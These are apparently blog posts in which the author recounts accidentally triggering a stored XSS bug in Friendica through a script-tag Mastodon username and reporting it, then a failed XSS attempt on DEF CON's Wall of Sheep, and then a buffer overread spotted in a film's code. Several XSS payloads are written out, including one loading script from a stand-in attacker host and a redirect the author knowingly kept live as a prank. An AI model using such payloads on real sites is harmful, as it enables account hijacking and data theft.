hacking

    Accidentally Hacking the Planet

    Last summer I tried to hack the Wall of Sheep at DEF CON. It didn’t work. The short version is that I tried to make a Cross Site Scripting (XSS) attack against the Wall by crafting a username:

    <script type="text/javascript">alert("I was here.");</script>
    

    Because I’m kind of a smartass, I later changed my Mastodon username to something similar:

    <script>alert("Tek");</script>
    

    Then I laughed about it with my geeky friends and promptly forgot all about the joke.

    And then late at night on Mother’s Day Eve this year, some people started sending me messages like “why is your name popping up on my screen?” and “please make that stop” and “DUDE NO REALLY PLEASE STOP IT”. I had another laugh and tried to go to sleep, until I realized, oh, this isn’t good. Those people were all on various Friendica instances, and when my username came across their timeline, the server software was incorrectly embedding it in the HTML as a real <script> tag instead of displaying it as the literal text <script>alert("Tek");</script>. In the web world, that’s about as bad as an attack can get. The US government’s CVSS calculator scored it as a perfect 10.0.

    • An attacker (me, by accident, in this case) could exploit the vulnerability without having any access to those Friendica instances.
    • The attack was simple: I changed my username to a bit of valid JavaScript.
    • All I had to do to trigger the vulnerability was to get my username to show up on the victim’s screen. If I sent them a message, or if any of their friends saw and boosted my message so that it appeared in the victim’s timeline, then the trap was sprung.
    • My little joke was annoying but harmless. A malicious attacker could just as easily change their username to
    <script src="https://hackerz.ru/badstuff.js">Hi</script>
    
    • The malicious JavaScript could do literally anything with the victim’s account that the victim could do. It could look at all their private messages and upload them to another server, or change their password, or message all of their friends, or change their own username to be another bit of malicious JavaScript and start a chain reaction.

    That wasn’t funny at all. I got up and dashed off an email to Friendica’s security email address. I also found that some of the people I’d been talking to via Mastodon were Friendica maintainers, and I messaged them with my concerns.1 Satisfied that the right people had been notified, I went back to bed.

    The next morning I told my wife and kid about the unexpected evening I’d had. My kid instantly piped up with “Dad! Dad! You should change it to a Rickroll!”2

    My jaw hit the floor. Yes, of course. It must be done. My amazing wife egged me on by insisting that as it was Mother’s Day, I owed this to her. After a little experimentation, I came up with a new username:

    <script>window.location="https://is.gd/WVZvnI#TekWasHere"</script>
    

    It was a little longer than the maximum of 30 characters that Mastodon allows you to enter, but since I have direct access to my Mastodon instance’s database, it was easy to work around that limit.

    I began receiving new messages that I’m pretty sure were all in good humor. Well, somewhat sure.

    To their vast credit, the Friendica gang pounced on the problem quickly. Some instances rolled out a preliminary fix later that day. A week after, the team rolled out a new public release so that all other Friendica admins could patch their systems.

    It’s easy to make a mistake. That’s inevitable. The world would be better if everyone reacted like the Friendica maintainers, by asking questions, finding a solution, then quickly fixing those mistakes. Well done.


    1. Because this is how we do it, OK? It’s fine to enjoy that moment of discovery, but when you find a broken window, you let someone know so they can fix it. You don’t go in. And you never, ever use that knowledge to hurt people. ↩︎

    2. Exact quote from the conversation: “You have the ability to do the funniest thing in history!” That’s overselling it, but I appreciated their enthusiasm. ↩︎

    Trying (and Failing) to hack the Wall of Sheep

    The Wall of Sheep is a popular exhibit at DEF CON. Participants run packet sniffers on an insecure Wi-Fi network and try to catch people logging into unencrypted websites and other services. If they see that happening, they post the person’s username and password on a giant display. It looks something like:

    Sample Wall of Sheep

    That’s an excellent reminder to be careful when you’re connected to an unknown network, and not to send your login credentials out in the open.

    From the first time I saw it, though, I had to wonder: is the wall itself hackable? Could I make it look like this instead?

    Snoop onto them, as they snoop onto us.

    The idea kept bouncing around the back of my mind until I added it to my to-do list so I could stop thinking about it. I had to at least try it.

    To do: hack the wall!

    Assumptions

    I know nothing about the Wall of Sheep’s internal workings. That’s deliberate. I wanted to test this for the fun of it, and part of the challenge was to see how far I could get without any knowledge of it. I had to make a few assumptions:

    1. If you’re connected to the right Wi-Fi network and submit credentials in plaintext, they’ll be shown on the wall.
    2. The process of getting captured credentials on the wall is automated.
    3. The wall is rendered by a web browser.
    4. The wall’s software has been around for a while and wasn’t written to be particularly secure. After all, it’s on the attacking end, right?
    5. No one’s tried this before, so no one’s fixed it before.

    Choosing the attack

    If the above assumptions are true, the obvious attack vector is Cross Site Scripting (XSS). The method is to create a snippet of JavaScript and then trick the Wall of Sheep into displaying — and executing — it. This should work:

    <script type="text/javascript">alert("I was here.");</script>
    

    But how do I get that onto the board? The password field is usually censored, such as hunter2 being masked to hunt***. That would destroy the payload, so that wouldn’t work. Is there a way to make a DNS hostname that renders correctly? Eh, maybe, but crafting that sounds like work. (Note to self: but boy, wouldn’t that wreak havoc on the web? Huh. I’ve gotta look into that.)

    However, look at that lovely login field. It’s just sitting out there in full, uncensored, plaintext glory. Jackpot! That’s where I’ll inject the JavaScript.

    Setting up a webserver

    This attack requires a webserver to send those faked credentials to. For ease of implementation, I configured HTTP Basic authentication with:

    • Username: Me<script ...
    • Password: lol
    Remember how I've wanted to do this for years? Guess who suddenly remembered to do it on the last day of DEF CON. Everything after this was done on my iPhone with Vim in an SSH client. This was not an ideal way to do something technical. Learn from my mistakes: failing to plan is planning to fail.

    Getting onto the DefCon-open Wi-Fi

    You brought a burner device, right? I didn’t. What could possibly go wrong connecting an off-the-shelf device to an open network at DEF CON! YOLO.

    Visiting the web page

    I logged into the page on my webserver’s bare IP address, watched the board, and… nothing. I reloaded it; nothing. I looked around to see if any of the participants looked like they might’ve found something; still nothing. Rats.

    Enlisting help

    Jan and Pat1 were participants sitting near where I was setting this up. I needed their assistance but didn’t want to outright ask for it. I started posing innocent questions to Jan: “Hey, what are you working on? What’s Wireshark?” While they kindly explained in general terms, they were understandably more interested in their own project than tutoring a passerby. Pat was more willing to teach me and I pulled up a chair to sit with them. They patiently answered my questions and pointed to interesting things on their screen. They also noticed fairly quickly that I was regularly reloading a page on my phone as I watched them. “Hey, uh, are you trying to get caught?” “Maaaaybe…” “Why?” I gave them a quick explanation of my project and they instantly bought in:

    Pat: Do you think this’ll work?
    Me: Probably not, but it’s worth a shot.
    Pat: Oh, wow. If it does, this will be legendary!

    I had a helper. Soon after, Jan noticed we were up to something, leading to one of my favorite exchanges at DEF CON:

    Jan: Are you two trying to get something up there on the board?
    Me, grinning: Yeah. It’s a JavaScript injection.
    Jan, wide-eyed: Who the hell are you?

    Thank you, Jan. I felt like a bona fide Security Researcher after that.

    Another random visitor saw us huddled and asked if we were trying to hack something. Jan looked at me, looked at the visitor, said “nope”, and looked back at me. I winked at Jan. Jan nodded back. The visitor squinted at us and walked off. Jan had my back.

    Pat and Jan were awesome. When we couldn't capture my phone's request, Pat asked if I happened to be on a VPN. facepalm. Yes, I had iCloud Private Relay turned on globally.

    Social engineering a Shepherd

    After experimentation, we had usable Wireshark captures of me logging into my website. However, they weren’t being displayed on the Wall of Sheep. It turned out that my assumption was wrong: we had to demonstrate the capture to a “Shepherd” running the contest. Pat called one over. We showed them Pat’s capture, but they weren’t convinced at first. Most website logins are through a form POSTed to the server, not through HTTP Basic authentication. The Shepherd was also skeptical that the login was successful because the server was returning the default “welcome to Nginx!” page and not something personalized for the (obviously fake) username. I leaned very hard into the “innocent observer” role, asking questions like “but isn’t that what a successful capture looks like?” and “golly gee, it looks right to me. Don’t you think?” and “it looks suspicious to me, too, but couldn’t we try it and see what happens?” Our Shepherd seemed almost ready to go along with it — until they burned my plan to the ground.

    Defeat

    I asked the Shepherd how a login goes from being captured to being shown on the Wall of Sheep. Their reply doomed our fun: “I’d type it in.” Oh no. That’s not good. “Isn’t it automatic?”, I asked. The Shepherd paused to rub the bridge of their nose. “Well,” they sighed, “it was until people started sending a bunch of vile usernames and passwords and kind of ruined it2, so now we have to moderate the process.” I wasn’t giving up, though. “Could you type that username to see what happens?” “It’d just show up like that,” they replied. “Could we try it?”, I pleaded. “I mean, it’s just text. Um, that’s not a web page”, they countered.

    What.

    And then for the first time ever, I saw a flashing cursor down in the bottom corner of the Wall of Sheep. My heart sunk. “Is that Excel or something?” They grinned: “it’s just some old software we run.”

    Disaster.

    Regrouping

    That’s when I formally gave up on this attempt. If it were ever possible to hack the Wall of Sheep, it wasn’t on that day. That doesn’t mean I’m abandoning this forever, though. Next year, I’m going to make a smarter effort, by:

    • Setting this up in advance. Again, Vim over SSH on a phone sucks. I’ll have the fake login working before I leave home.
    • Getting there earlier. If the Wall of Sheep is ever going to be automated and rendered in a browser, it’ll be at the opening of DEF CON before anyone’s polluted the waters.
    • Using a more common authentication method than HTTP Basic auth, like a typical login form.
    • Making the resulting page look like I’d really logged into a legitimate service.
    • Bringing a burner device, because putting my own personal device on that specific Wi-Fi network was not the best idea I’ve ever had.

    And if Jan and Pat are around, I’m recruiting their help again.

    To do: hack the wall harder!

    1. I didn’t get anyone’s names, or their permission to describe them. Fake names are all you get. ↩︎

    2. I appreciate the irony that I’m complaining about hackers getting stuff to show up on the Wall of Sheep in a post where I’m talking about getting stuff to show up on the Wall of Sheep. The first rule of a good prank, though, is “don’t be a jackass and ruin it for everyone else”. I was going for something that I hoped the Shepherds would find amusing and wasn’t trying to get racial slurs and other vile junk to show up on a big screen. Don’t be that person. ↩︎

    Buffer Overrun In Antitrust

    Skip this unless you’re really, really geeky.

    Still with us? OK. In the movie “Antitrust”, there’s a screenshot of some code that has a possible Denial Of Service vulnerability:

    /* are we doing a GET or just a HEAD */
    boolean doingGet;
    /* beginning of file name */
    int index;
    if (buf[0] == (byte)'G' &amp;&amp;
        buf[1] == (byte)'E' &amp;&amp;
        buf[2] == (byte)'T' &amp;&amp;
        buf[3] == (byte)' ') {
        doingGet = true;
        index = 4;
    } else if (buf[0] == (byte)'H' &amp;&amp;
               buf[1] == (byte)'E' &amp;&amp;
               buf[2] == (byte)'A' &amp;&amp;
               buf[3] == (byte)'D' &amp;&amp;
               buf[4] == (byte)' ') {
        doingGet = false;
        index = 5;
    } else {
        /* we don't support this method */
        ps.print("HTTP/1.0 " + HTTP_BAD_METHOD +
                   " unsupported method type: ");
        ps.write(buf, 0, 5);
        ps.write(EOL);
        ps.flush();
        s.close();
        return;
    }
    

    Because I can’t resist such things, I paused the movie to read over the code. Now, I’m assuming this is Java instead of C++ because “boolean” wasn’t spelled “bool”, although I’m not sure why they’d be using Java for performance critical code. Anyway. See the ps.write(buf,0,5); line near the end? Well, “buf” is presumably the string that the client sent to the server. If the client is broken (or malicious) enough to misspell “GET” and “HEAD”, then the server politely tries to tell the client what it did wrong by sending “buf”’s value back.

    Which brings us to the hack. If “buf” is less than five characters long, then that “ps.write” line will attempt to read past the end of “buf”. If the calling function doesn’t handle index error exceptions, boom! The service crashes: Denial Of Service. Note that this is still better than the C++ equivalent, which would write the contents of memory immediately following the end of “buf” back to the client.

    No, I’m not exactly good at sitting back and watching movies.